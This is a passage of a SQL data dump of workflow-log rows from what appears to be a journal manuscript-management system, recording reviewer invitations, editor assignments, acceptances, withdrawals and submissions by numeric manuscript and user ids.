article',7286,'Editor',633),(68741,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7159,'Editor',633),(68742,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7159,'Editor',633),(68743,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7150,'Editor',633),(68744,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7104,'Editor',633),(68745,'0000-00-00 00:00:00','Reviewer has submitted comments',7163,'Reviewer',11589),(68756,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7104,'Publisher',645),(68757,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7159,'Publisher',645),(68764,'0000-00-00 00:00:00','Publisher : Notified Editor',7163,'Publisher',75),(68769,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7422,'Publisher',972),(68770,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7040,'Publisher',972),(68772,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7422,'Publisher',972),(68852,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7669,'Publisher',85),(68853,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(68854,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(68855,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(68856,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(68857,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(68858,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(68859,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(68860,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(68861,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(69020,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7686,'Author',8910),(69021,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5550,'Publisher',988),(69022,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5550,'Publisher',988),(69023,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5550,'Publisher',988),(69024,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5747,'Publisher',988),(69025,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',5857,'Publisher',988),(69026,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6041,'Publisher',988),(69027,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6058,'Publisher',988),(69028,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6170,'Publisher',988),(69029,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6213,'Publisher',988),(69030,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6213,'Publisher',988),(69095,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7677,'Publisher',75),(69096,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7678,'Publisher',75),(69112,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7680,'Publisher',248),(69113,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(69114,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(69115,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(69116,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(69117,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(69118,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(69119,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7490,'Publisher',85),(69242,'0000-00-00 00:00:00','Reviewer has submitted comments',6964,'Reviewer',16785),(69243,'0000-00-00 00:00:00','Reviewer has submitted comments',7669,'Reviewer',16785),(69251,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7693,'Author',8917),(69288,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6800,'Editor',1393),(69289,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6800,'Publisher',85),(69290,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6800,'Publisher',85),(69291,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6800,'Publisher',85),(69292,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(69293,'0000-00-00 00:00:00','Publisher : Notified Author',7030,'Publisher',85),(69294,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7163,'Editor',162),(69295,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7559,'Editor',162),(69296,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7617,'Editor',162),(69297,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7678,'Editor',162),(69298,'0000-00-00 00:00:00','Publisher : Notified Editor',6964,'Publisher',85),(69299,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6964,'Editor',1251),(69300,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6964,'Editor',1251),(69301,'0000-00-00 00:00:00','Publisher : Notified Author',6964,'Publisher',85),(69302,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(69303,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(69304,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(69305,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(69306,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(69307,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(69308,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(69309,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(69310,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(69314,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7163,'Publisher',75),(69315,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7163,'Publisher',75),(69316,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7693,'Publisher',48),(69324,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7696,'Author',8922),(69328,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7693,'Publisher',48),(69329,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7693,'Publisher',48),(69330,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7693,'Publisher',48),(69331,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7693,'Publisher',48),(69358,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7700,'Publisher',972),(69435,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7421,'Publisher',248),(69436,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7421,'Publisher',248),(69437,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7421,'Publisher',248),(69438,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7421,'Publisher',248),(69439,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7421,'Publisher',248),(69440,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7421,'Publisher',248),(69441,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7421,'Publisher',248),(69442,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7421,'Publisher',248),(69443,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7421,'Publisher',248),(69444,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7421,'Publisher',248),(69445,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7421,'Publisher',248),(69446,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7421,'Publisher',248),(69447,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7421,'Publisher',248),(69448,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7629,'Publisher',85),(69449,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7680,'Publisher',248),(69450,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7680,'Publisher',248),(69451,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7680,'Publisher',248),(69452,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7680,'Publisher',248),(69453,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7680,'Publisher',248),(69454,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7680,'Publisher',248),(69455,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7680,'Publisher',248),(69456,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7680,'Publisher',248),(69457,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7680,'Publisher',248),(69458,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7680,'Publisher',248),(69459,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7680,'Publisher',248),(69460,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7590,'Publisher',248),(69461,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7590,'Publisher',248),(69462,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7590,'Publisher',248),(69463,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7590,'Publisher',248),(69464,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7590,'Publisher',248),(69465,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7590,'Publisher',248),(69466,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7590,'Publisher',248),(69467,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7590,'Publisher',248),(69468,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7590,'Publisher',248),(69469,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7590,'Publisher',248),(69470,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7590,'Publisher',248),(69490,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7459,'Publisher',248),(69491,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7459,'Publisher',248),(69492,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7459,'Publisher',248),(69493,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7459,'Publisher',248),(69494,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7459,'Publisher',248),(69496,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7680,'Editor',359),(69497,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7590,'Editor',359),(69498,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7556,'Editor',359),(69499,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7494,'Editor',359),(69500,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7459,'Editor',359),(69501,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7487,'Editor',359),(69502,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7421,'Editor',359),(69503,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7314,'Editor',359),(69504,'0000-00-00 00:00:00','Author sent Email',7110,'Author',8379),(69505,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7696,'Publisher',75),(69512,'0000-00-00 00:00:00','Reviewer has submitted comments',7559,'Reviewer',665),(69534,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7702,'Author',8936),(69555,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(69556,'0000-00-00 00:00:00','Reviewer has submitted comments',7101,'Reviewer',17074),(69557,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7101,'Editor',1456),(69558,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7101,'Editor',1456),(69559,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7101,'Publisher',673),(69630,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7617,'Publisher',75),(69631,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7617,'Publisher',75),(69632,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7617,'Publisher',75),(69633,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7617,'Publisher',75),(69634,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7635,'Publisher',75),(69635,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7635,'Publisher',75),(69636,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7635,'Publisher',75),(69637,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7677,'Publisher',75),(69638,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7677,'Publisher',75),(69639,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7677,'Publisher',75),(69640,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7677,'Publisher',75),(69641,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7677,'Publisher',75),(69642,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7677,'Publisher',75),(69643,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7678,'Publisher',75),(69644,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7678,'Publisher',75),(69645,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7678,'Publisher',75),(69646,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7696,'Publisher',75),(69647,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7696,'Publisher',75),(69648,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7696,'Publisher',75),(69649,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7696,'Publisher',75),(69650,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7696,'Publisher',75),(69651,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7696,'Editor',161),(69652,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7677,'Editor',161),(69653,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7635,'Editor',161),(69654,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7275,'Publisher',75),(69690,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7520,'Editor',1410),(69691,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7520,'Editor',1410),(69693,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7520,'Publisher',988),(69694,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7520,'Publisher',988),(69695,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7520,'Publisher',988),(69698,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7712,'Author',8944),(69746,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7700,'Publisher',972),(69752,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7700,'Publisher',972),(69753,'0000-00-00 00:00:00','Publisher has Unassign Editor',7040,'Publisher',972),(69772,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7702,'Publisher',75),(69777,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7712,'Publisher',645),(69778,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(69779,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7428,'Editor',1456),(69781,'0000-00-00 00:00:00','Reviewer has submitted comments',7428,'Reviewer',17074),(69782,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7428,'Editor',1456),(69783,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7428,'Publisher',673),(69784,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7728,'Author',8950),(69786,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7729,'Author',8951),(69804,'0000-00-00 00:00:00','Publisher : Notified Editor',7204,'Publisher',319),(69805,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7204,'Editor',1067),(69813,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7592,'Publisher',274),(69825,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(69826,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(69827,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(69828,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(69829,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(69831,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(69832,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(69833,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(69834,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(69835,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(69836,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(69837,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(69838,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(69839,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(69840,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(69841,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7669,'Publisher',85),(69847,'0000-00-00 00:00:00','Publisher : Notified Author',6964,'Publisher',85),(69848,'0000-00-00 00:00:00','Publisher : Notified Author',6964,'Publisher',85),(69849,'0000-00-00 00:00:00','Publisher : Notified Author',7030,'Publisher',85),(69850,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7728,'Publisher',48),(69851,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7728,'Publisher',48),(69852,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7728,'Publisher',48),(69853,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7728,'Publisher',48),(69854,'0000-00-00 00:00:00','Author sent Email',7594,'Author',3375),(69855,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(69856,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(69857,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(69858,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(69859,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7649,'Editor',194),(69860,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7649,'Editor',194),(69861,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7662,'Editor',194),(69862,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7662,'Editor',194),(69863,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7663,'Editor',194),(69864,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7663,'Editor',194),(69865,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7693,'Editor',194),(69866,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7693,'Editor',194),(69867,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7511,'Editor',194),(69868,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7511,'Editor',194),(69869,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7627,'Editor',194),(69870,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7627,'Editor',194),(69871,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7511,'Publisher',48),(69872,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7627,'Publisher',48),(69873,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7649,'Publisher',48),(69875,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7662,'Publisher',48),(69877,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7663,'Publisher',48),(69879,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7662,'Publisher',48),(69881,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7693,'Publisher',48),(69949,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7314,'Editor',359),(69950,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7314,'Publisher',248),(69951,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7629,'Editor',1393),(69952,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69953,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69954,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69955,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69956,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69957,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69958,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69959,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69960,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69961,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69963,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69964,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69965,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69966,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69967,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69968,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69969,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69970,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69971,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69972,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69973,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69974,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69975,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69976,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69977,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69978,'0000-00-00 00:00:00','Editor has Invited Reviewer',7629,'Editor',1393),(69980,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7490,'Editor',1393),(69981,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7279,'Editor',1393),(69983,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',6800,'Editor',1393),(69984,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7517,'Editor',1393),(69985,'0000-00-00 00:00:00','Publisher : Notified Editor',7424,'Publisher',984),(69986,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7459,'Publisher',248),(69995,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7729,'Publisher',972),(69996,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7729,'Publisher',972),(69998,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7040,'Publisher',972),(70003,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7734,'Publisher',84),(70004,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7735,'Publisher',48),(70009,'0000-00-00 00:00:00','Reviewer has submitted comments',7592,'Reviewer',12022),(70026,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7702,'Publisher',75),(70027,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7702,'Publisher',75),(70028,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7702,'Publisher',75),(70029,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7702,'Publisher',75),(70031,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7283,'Editor',1594),(70032,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7283,'Editor',1594),(70033,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7283,'Publisher',274),(70034,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70038,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70039,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70040,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70041,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70042,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70043,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70044,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70045,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70046,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70047,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7574,'Publisher',376),(70048,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7332,'Editor',1594),(70049,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7332,'Publisher',274),(70050,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7568,'Publisher',376),(70051,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7568,'Publisher',376),(70052,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7568,'Publisher',376),(70053,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7568,'Publisher',376),(70054,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7568,'Publisher',376),(70055,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7568,'Publisher',376),(70056,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7332,'Publisher',274),(70059,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6800,'Editor',1393),(70060,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6800,'Publisher',85),(70061,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6800,'Publisher',85),(70068,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(70070,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7323,'Editor',1594),(70071,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7323,'Editor',1594),(70072,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7323,'Publisher',274),(70073,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7592,'Editor',1594),(70074,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7592,'Editor',1594),(70077,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7472,'Editor',1594),(70080,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7472,'Editor',1594),(70081,'0000-00-00 00:00:00','Publisher : Notified Author',7592,'Publisher',274),(70082,'0000-00-00 00:00:00','Publisher : Notified Author',7472,'Publisher',274),(70087,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7735,'Publisher',48),(70147,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7741,'Author',8963),(70176,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7204,'Publisher',319),(70177,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7204,'Publisher',319),(70219,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7519,'Publisher',48),(70233,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7734,'Publisher',84),(70234,'0000-00-00 00:00:00','Publisher has Unassign Editor',7734,'Publisher',84),(70268,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7405,'Editor',1067),(70269,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7404,'Editor',1067),(70270,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7402,'Editor',1067),(70271,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7401,'Editor',1067),(70272,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7401,'Editor',1067),(70273,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7400,'Editor',1067),(70297,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',7322,'Publisher',274),(70302,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7746,'Publisher',319),(70303,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7747,'Publisher',319),(70304,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7748,'Publisher',319),(70305,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7749,'Publisher',319),(70306,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7750,'Publisher',319),(70308,'0000-00-00 00:00:00','Manuscript Submitted by Author',7751,'Author',8968),(70370,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7735,'Publisher',48),(70371,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7735,'Publisher',48),(70434,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7751,'Publisher',248),(70522,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7750,'Publisher',319),(70523,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7763,'Publisher',48),(70524,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7749,'Publisher',319),(70525,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7748,'Publisher',319),(70526,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7750,'Editor',1067),(70527,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7749,'Editor',1067),(70528,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7748,'Editor',1067),(70529,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7747,'Publisher',319),(70530,'0000-00-00 00:00:00','Publisher has been Assigned 